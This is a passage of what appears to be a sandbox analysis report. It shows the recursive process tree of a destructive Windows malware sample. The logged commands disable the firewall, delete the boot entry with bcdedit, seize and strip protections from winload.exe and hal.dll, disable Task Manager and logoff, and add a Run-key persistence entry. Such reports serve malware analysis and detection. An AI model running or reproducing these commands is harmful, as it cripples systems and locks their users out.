        7⤵
        
        PID:10532
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:9684
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:15968
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:10008
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:14524
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:9392
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:16076
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:9352
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:10104
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:9212
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:6236
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:9432
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:9740
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:11176
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:3668
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:10024
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:7680
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall set allprofiles state off
        5⤵
        Modifies Windows Firewall
        
        PID:10916
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit /delete {current}
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:6472
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\drivers" /r
        5⤵
        Possible privilege escalation attempt
        
        PID:1712
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:3956
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:3480
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:1264
- - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
    C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
    3⤵
    PID:1032
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\2093.tmp\2094.tmp\2095.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
      4⤵
      Executes a command shell one-liner
      PID:3592
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        5⤵
        Executes a command shell one-liner
        
        PID:4476
      - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        6⤵
        
        PID:4704
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        5⤵
        
        PID:5032
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        5⤵
        
        PID:5524
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        5⤵
        Views/modifies file attributes
        
        PID:5652
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:3668
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        5⤵
        
        PID:5380
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        5⤵
        
        PID:5316
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        5⤵
        
        PID:3444
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2960
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        5⤵
        Views/modifies file attributes
        
        PID:5620
    - - C:\Windows\system32\wscript.exe
        
        WScript Informacion.vbs
        5⤵
        
        PID:5608
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        5⤵
        
        PID:3444
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        5⤵
        
        PID:6268
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        
        PID:6312
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        
        PID:6324
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6332
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6404
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6440
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6476
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        
        PID:6492
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6516
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        
        PID:6524
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6532
    - - C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        5⤵
        Gathers network information
        
        PID:6692
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        5⤵
        
        PID:7088
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        5⤵
        
        PID:6664
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:7960
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\92C5.tmp\92C6.tmp\92C7.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:8656
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        Executes a command shell one-liner
        
        PID:10216
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        
        PID:7908
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        
        PID:10224
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        
        PID:11152
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        
        PID:5908
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:8608
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:8916
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        
        PID:10276
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        7⤵
        
        PID:10880
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        7⤵
        
        PID:8144
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        7⤵
        
        PID:12596
        
        C:\Windows\system32\wscript.exe
        
        WScript Informacion.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:13304
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        7⤵
        
        PID:6836
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        7⤵
        
        PID:13220
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:10632
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:11804
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:13844
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:13692
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:8320
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:9080
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:14092
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:13808
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:14076
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:14012
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:14632
        
        C:\Windows\system32\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        7⤵
        
        PID:20484
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        7⤵
        
        PID:21436
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:3140
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:7516
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:8244
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:8408
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\98E0.tmp\98E1.tmp\98E2.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:8300
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        
        PID:10120
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        
        PID:10232
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        Modifies file permissions
        
        PID:10132
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        
        PID:7828
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        Views/modifies file attributes
        
        PID:10568
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        Modifies file permissions
        
        PID:9236
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:912
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        Views/modifies file attributes
        
        PID:10988
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        7⤵
        
        PID:3668
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        
        PID:11256
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        7⤵
        Views/modifies file attributes
        
        PID:7888
        
        C:\Windows\SysWOW64\wscript.exe
        
        WScript Informacion.vbs
        7⤵
        
        PID:11724
        
        C:\Windows\SysWOW64\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        7⤵
        
        PID:7680
        
        C:\Windows\SysWOW64\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        7⤵
        
        PID:12724
        
        C:\Windows\SysWOW64\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:12988
        
        C:\Windows\SysWOW64\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:12996
        
        C:\Windows\SysWOW64\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:13004
        
        C:\Windows\SysWOW64\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:13012
        
        C:\Windows\SysWOW64\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:13020
        
        C:\Windows\SysWOW64\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:13028
        
        C:\Windows\SysWOW64\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:13036
        
        C:\Windows\SysWOW64\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:13044
        
        C:\Windows\SysWOW64\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:13052
        
        C:\Windows\SysWOW64\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:13060
        
        C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:13068
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        7⤵
        
        PID:7436
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib -r -a -s -h *.*
        7⤵
        
        PID:15080
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:1980
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\20.tmp\21.tmp\22.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        
        PID:18752
        
        C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:10292
        
        C:\Windows\SysWOW64\notepad.exe
        
        notepad
        7⤵
        
        PID:9276
        
        C:\Windows\SysWOW64\calc.exe
        
        calc
        7⤵
        
        PID:1760
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:10196
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\FA93.tmp\FA94.tmp\FA95.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        Executes a command shell one-liner
        
        PID:18344
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        9⤵
        Executes a command shell one-liner
        
        PID:19092
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        9⤵
        
        PID:19100
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        9⤵
        
        PID:21260
        
        C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:5824
        
        C:\Windows\SysWOW64\notepad.exe
        
        notepad
        7⤵
        
        PID:8296
        
        C:\Windows\SysWOW64\calc.exe
        
        calc
        7⤵
        
        PID:16936
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:6860
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\FC38.tmp\FC39.tmp\FC3A.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        
        PID:13728
        
        C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:11348
        
        C:\Windows\SysWOW64\notepad.exe
        
        notepad
        7⤵
        
        PID:5836
        
        C:\Windows\SysWOW64\calc.exe
        
        calc
        7⤵
        
        PID:12436
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:10992
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\FC49.tmp\FC59.tmp\FC5A.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        Executes a command shell one-liner
        
        PID:10588
        
        C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:11752
        
        C:\Windows\SysWOW64\notepad.exe
        
        notepad
        7⤵
        
        PID:17412
        
        C:\Windows\SysWOW64\calc.exe
        
        calc
        7⤵
        
        PID:17420
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:17428
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\FC48.tmp\FC49.tmp\FC4A.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        Executes a command shell one-liner
        
        PID:11184
        
        C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:17436
        
        C:\Windows\SysWOW64\notepad.exe
        
        notepad
        7⤵
        
        PID:17444
        
        C:\Windows\SysWOW64\calc.exe
        
        calc
        7⤵
        
        PID:17452
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:17460
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:18236
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:19348
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:21320
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:8416
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:8424
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:8432
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:8440
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\9845.tmp\9864.tmp\9865.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:8184
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        
        PID:5248
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Modifies file permissions
        
        PID:10976
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        
        PID:10248
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:10180
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        
        PID:10268
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        Modifies file permissions
        
        PID:10456
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        Modifies file permissions
        
        PID:5600
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        
        PID:9328
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        7⤵
        
        PID:12540
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        7⤵
        Modifies file permissions
        
        PID:12276
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        7⤵
        
        PID:6936
        
        C:\Windows\system32\wscript.exe
        
        WScript Informacion.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:11056
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        7⤵
        
        PID:6772
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        7⤵
        
        PID:7632
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:11420
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:10368
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:7684
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:13184
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:10284
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:7204
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:3296
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6204
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:7152
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:6704
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:7632
        
        C:\Windows\system32\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        7⤵
        
        PID:14024
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        7⤵
        Views/modifies file attributes
        
        PID:14452
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:8448
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:8456
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:8464
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:8472
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\9844.tmp\9854.tmp\9855.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:3344
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        
        PID:11080
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        
        PID:11044
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        Possible privilege escalation attempt
        
        PID:10920
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        
        PID:10272
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        
        PID:1756
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        Possible privilege escalation attempt
        
        PID:9096
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        Modifies file permissions
        
        PID:9096
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        Views/modifies file attributes
        
        PID:12284
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        7⤵
        Possible privilege escalation attempt
        
        PID:9644
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        7⤵
        Modifies file permissions
        
        PID:15136
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        7⤵
        Views/modifies file attributes
        
        PID:17064
        
        C:\Windows\system32\wscript.exe
        
        WScript Informacion.vbs
        7⤵
        
        PID:16476
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        7⤵
        
        PID:17624
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        7⤵
        
        PID:18256
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:18540
        
        C:\Windows\system32\wscript.exe
